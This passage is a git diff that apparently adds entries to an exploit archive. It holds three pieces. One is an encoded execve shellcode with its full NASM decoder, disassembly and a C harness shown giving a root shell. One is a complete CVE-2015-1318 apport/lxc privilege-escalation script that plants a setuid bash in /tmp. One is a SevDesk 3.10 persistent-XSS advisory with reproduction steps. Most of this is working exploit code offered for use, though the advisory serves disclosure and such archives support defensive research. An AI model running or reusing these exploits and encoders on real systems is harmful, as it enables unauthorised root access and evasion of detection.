+\xe\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78 +\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe +------------------------------------------------------------------------ + 2. Style:= 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3, +0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35, +0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe +------------------------------------------------------------------------ + + +b) Decoder for the encoded shellcode (execve-stack) +--------------------------------------------------------------------------------------- +$ cat Followtheleader-decoder.nasm +; Filename: Followtheleader-decoder.nasm +; Author: Konstantinos Alexiou +; Description: Followtheleader custom insertion Encoder, Linux Intel/x86 + +global _start +section .text + +_start: + jmp short call_shellcode + +decoder: + pop esi ; Address of EncodedShellcode to ESI + lea edi, [esi] ; Load effective address of what is contained on EDI + xor ecx, ecx ; Zero ECX + mul ecx ; This instruction will cause both EAX and EDX to become zero + xor ebp, ebp ; Zero the value on EBP + mov dl, byte [esi] ; Put the LEADER byte to EDX (DL) + +;(firstb - secondb) CALCULATION + mov al, dl ; Copy the LEADER to EAX + + ;firstb extraction of LEADER + shr dl, 4 ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb] + + ;secondb extraction of LEADER + shl eax, 28 ; shift left 28 bits of EAX which contains the value of Leader on al + shr eax, 28 ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb] + sub dl, al ; (firstb - secondb) value stored to EDX (DL) + jns decode_pr + +negative: ; Calculate the absolute value if negative + not dl + inc dl + +;decode process +decode_pr: + + xor eax, eax + xor ebx, ebx + xor ecx, ecx + + mov al, byte [esi+1+ebp] ; Put the encoded byte to EAX + mov ecx, ebp ; EBP is used as a counter copy the value of EBP to ECX + xor cl, 0x32 ; At the end of the shellcode EBP should point 50 in decimal 32 in hex + je short EncodedShellcode + + ;rev_suplx Calculation + mov cl, al ; Put the Encoded byte to EAX (xxx to EAX) + sub cl, dl ; rev_suplx= xxx-(firstb - secondb) value stored to CL + mov bl, cl ; Keep Backup of rev_suplx to BL + mov al, cl ; Second backup of CL + + ;Revert the bytes on rev_suplx + shr bl, 4 ; shift 4 bits right (if was bl=ec now bl=e) + shl eax, 28 ; shift left 28 bits of EAX which contains the value of rev_supl on cl( if EAX was 0xec now EAX=0xc0000000) + shr eax, 24 ; shift right 24 of EAX (if EAX=0xc0000000 now EAX=0x000000c0) + add eax, ebx ; add the value on EBX to EAX (if EAX=0x000000c0 + BL=0xe, EAX=0x0000000ce) + + ;Supplement Calculation + mov bl, 0xff ; Value of 0xff to BL + sub bl, al ; Calculate the Supplement + mov byte [edi], bl ; Put the decoded byte to the position of EDI + inc edi ; EDI is a pointer to the position which the decoded bytes will be stored + add ebp,0x2 ; The EBP is a counter values will be (2,4,6,..50) + + jmp short decode_pr ; Goto the decode process to decode the next bytes + +call_shellcode: + call decoder + EncodedShellcode: db 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe + + +--------------------------------------------------------------------------------------------------------------------------------------- +$ objdump -d ./Followtheleader-decoder -M intel + +./Followtheleader-decoder: file format elf32-i386 + + +Disassembly of section .text: + +08048060 <_start>: + 8048060: eb 4e jmp 80480b0 + +08048062 : + 8048062: 5e pop esi + 8048063: 8d 3e lea edi,[esi] + 8048065: 31 c9 xor ecx,ecx + 8048067: f7 e1 mul ecx + 8048069: 31 ed xor ebp,ebp + 804806b: 8a 16 mov dl,BYTE PTR [esi] + 804806d: 88 d0 mov al,dl + 804806f: c0 ea 04 shr dl,0x4 + 8048072: c1 e0 1c shl eax,0x1c + 8048075: c1 e8 1c shr eax,0x1c + 8048078: 28 c2 sub dl,al + 804807a: 79 04 jns 8048080 + +0804807c : + 804807c: f6 d2 not dl + 804807e: fe c2 inc dl + +08048080 : + 8048080: 31 c0 xor eax,eax + 8048082: 31 db xor ebx,ebx + 8048084: 31 c9 xor ecx,ecx + 8048086: 8a 44 2e 01 mov al,BYTE PTR [esi+ebp*1+0x1] + 804808a: 89 e9 mov ecx,ebp + 804808c: 80 f1 32 xor cl,0x32 + 804808f: 74 24 je 80480b5 + 8048091: 88 c1 mov cl,al + 8048093: 28 d1 sub cl,dl + 8048095: 88 cb mov bl,cl + 8048097: 88 c8 mov al,cl + 8048099: c0 eb 04 shr bl,0x4 + 804809c: c1 e0 1c shl eax,0x1c + 804809f: c1 e8 18 shr eax,0x18 + 80480a2: 01 d8 add eax,ebx + 80480a4: b3 ff mov bl,0xff + 80480a6: 28 c3 sub bl,al + 80480a8: 88 1f mov BYTE PTR [edi],bl + 80480aa: 47 inc edi + 80480ab: 83 c5 02 add ebp,0x2 + 80480ae: eb d0 jmp 8048080 + +080480b0 : + 80480b0: e8 ad ff ff ff call 8048062 + +080480b5 : + 80480b5: 43 inc ebx + 80480b6: ed in eax,dx + 80480b7: 1d f4 40 fb 6f sbb eax,0x6ffb40f4 + 80480bc: 7a a9 jp 8048067 + 80480be: 0e push cs + 80480bf: b6 0e mov dh,0xe + 80480c1: bc c9 e3 7a af mov esp,0xaf7ae3c9 + 80480c6: 7a 78 jp 8048140 + 80480c8: 0e push cs + 80480c9: c5 da 76 (bad) + 80480cc: 6a 17 push 0x17 + 80480ce: 1a 4e 68 sbb cl,BYTE PTR [esi+0x68] + 80480d1: 38 c2 cmp dl,al + 80480d3: 99 cdq + 80480d4: fb sti + 80480d5: 35 68 84 d2 b3 xor eax,0xb3d28468 + 80480da: cb retf + 80480db: 7c 68 jl 8048145 + 80480dd: 78 e2 js 80480c1 + 80480df: 9a f5 e9 50 c0 24 91 call 0x9124:0xc050e9f5 + 80480e6: f8 clc + 80480e7: fe .byte 0xfe +------------------------------------------------------------------------------------------- + +$ cat shellcode.c +#include +#include +unsigned char code[] =\ +"\xeb\x4e\x5e\x8d\x3e\x31\xc9\xf7\xe1\x31\xed\x8a\x16\x88\xd0\xc0\xea\x04\xc1\xe0\x1c\xc1\xe8\x1c\x28\xc2\x79\x04\xf6\xd2\xfe\xc2\x31\xc0\x31\xdb\x31\xc9\x8a\x44\x2e\x01\x89\xe9\x80\xf1\x32\x74\x24\x88\xc1\x28\xd1\x88\xcb\x88\xc8\xc0\xeb\x04\xc1\xe0\x1c\xc1\xe8\x18\x01\xd8\xb3\xff\x28\xc3\x88\x1f\x47\x83\xc5\x02\xeb\xd0\xe8\xad\xff\xff\xff\x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\x0e\xb6\x0e\xbc\xc9\xe3\x7a\xaf\x7a\x78\x0e\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe"; + +main() +{ + printf("Shellcode Length: %d\n", strlen(code)); + int (*ret)() = (int(*)())code; + ret(); +} +------------------------------------------------------------------------------------------- + +$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode +$ ./shellcode +Shellcode Length: 136 +$whoami +root +$ diff --git a/platforms/linux/local/36782.sh b/platforms/linux/local/36782.sh new file mode 100755 index 000000000..ddcc3e726 --- /dev/null +++ b/platforms/linux/local/36782.sh @@ -0,0 +1,69 @@ +#!/bin/sh +# +# CVE-2015-1318 +# +# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758 +# +# Example: +# +# % uname -a +# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux +# +# % lsb_release -a +# No LSB modules are available. +# Distributor ID: Ubuntu +# Description: Ubuntu 14.04.2 LTS +# Release: 14.04 +# Codename: trusty +# +# % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }' +# apport 2.14.1-0ubuntu3.8 +# +# % id +# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...) +# +# % ./apport.sh +# pwned-4.3# id +# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...) +# pwned-4.3# exit + +TEMPDIR=$(mktemp -d) + +cd ${TEMPDIR} + +cp /bin/busybox . + +mkdir -p dev mnt usr/share/apport + +( +cat << EOF +#!/busybox sh +( +cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned +chmod 5755 /mnt/1/root/tmp/pwned +) +EOF + +) > usr/share/apport/apport + +chmod +x usr/share/apport/apport + +( +cat << EOF +mount -o bind . . +cd . +mount --rbind /proc mnt +touch dev/null +pivot_root . . +./busybox sleep 500 & +SLEEP=\$! +./busybox sleep 1 +./busybox kill -11 \$SLEEP +./busybox sleep 5 +EOF +) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \ + lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null + +/tmp/pwned -p + +rm -Rf ${TEMPDIR} diff --git a/platforms/multiple/webapps/36794.txt b/platforms/multiple/webapps/36794.txt new file mode 100755 index 000000000..2737d8972 --- /dev/null +++ b/platforms/multiple/webapps/36794.txt @@ -0,0 +1,264 @@ +Document Title: +=============== +SevenIT SevDesk 3.10 - Multiple Web Vulnerabilities + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1314 + + +Release Date: +============= +2015-03-23 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1314 + + +Common Vulnerability Scoring System: +==================================== +5.9 + + +Product & Service Introduction: +=============================== +The integrated customer management, digital customer file is the central record for a single customer. invoices, facilities and operations +to a customer are stored centrally automated in one place. So the customer file is always up to date. For faster retrieval or reporting +contacts can be tagged. In addition, with powerful. Search options you have as the entire customer base better than ever in view. + +Daily backup +256bit SSL encryption +TÜV certified datacenter + +Free version +No hidden costs +No minimum contract term + +iPhone App +Runs in any browser +No installation required on the PC + +Easy to use +Reduced to the essentials +Automated, where it is only Possible + +(Copy of the Vendor Homepage: https://sevdesk.de/) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official SEVENIT GmbH SevDesk v3.10 web-application & cloud online-service. + + +Vulnerability Disclosure Timeline: +================================== +2014-09-01: Researcher Notification & Coordination (Benjamin Kunz Mejri) +2014-09-02: Vendor Notification (SevDesk Developer Team) +2014-09-07: Vendor Response/Feedback (SevDesk Developer Team) +2015-02-01: Vendor Fix/Patch Notification (SevDesk Developer Team) +2015-03-23: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +SevenIT +Product: SevDesk - Web Application 3.1.0 + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +High + + +Technical Details & Description: +================================ +Multiple persistent input validation web vulnerabilities are detected in the official SEVENIT Software GmbH - sevDesk v3.10 web-application. +The vulnerability allows remote attackers or low privileged user account to inject own malicious script codes to the application-side of the +vulnerable web-application module or service. + +The security vulnerability is located in the `firstname`, `surname` & `family` name values of the main sevDesk `Dasboard` application module. +Remote attackers are able to inject own codes to the main dashboard service by manipulation of the registration username. The execution of +the injected script code occurs on the application-side in the main dasboard module through the rightHead and feedcontent class. The attack +vector is persistent and the request method to inject the code is POST. The victim user can also change the name by usage of the application +which does not require an admins interaction on successful exploitation. + +The security risk of the persistent script code inject web vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) +count of 5.9. Exploitation of the persistent vulnerability requires a low privileged sevdesk user account with restricted access and no direct +user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects +to malicious source and persistent manipulation of affected or connected application modules. + + +Request Method(s): + [+] POST + +Vulnerable Module(s): + [+] Registration to SevDesk + + +Vulnerable Parameter(s): + [+] surname + [+] firstname + [+] family name + +Affected Module(s): + [+] Dasboard Index - rightHead & feedcontent + + +Proof of Concept (PoC): +======================= +The persistent input validation web vulnerability can be exploited by low privileged application user accounts with low user interaction. +For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. + +Manual steps to reproduce the vulnerability + +1. Register an account by usage of the following webpage https://my.sevdesk.de/register/ +2. Include to the surname, family name and firstname your own script code as payload +3. Save the registration form and go to the website https://my.sevdesk.de/ +4. Login with the user account data +5. The execution of the injected script code occurs after the registration POST method request and next to the redirect in the main dasboard index (rightHead < name > feedcontent) +6. Successful reproduce of the application-side security vulnerability! + + +PoC: rightHead > Displayname (First- & Lastname) + +
+ +
+
+
+
+a>"<[PERSISTENT INJECTED SCRIPT CODE VIA NAME VALUE!]> b>"
+Einstellungen | +Hilfe | Logout +
+
+
+ +
+
+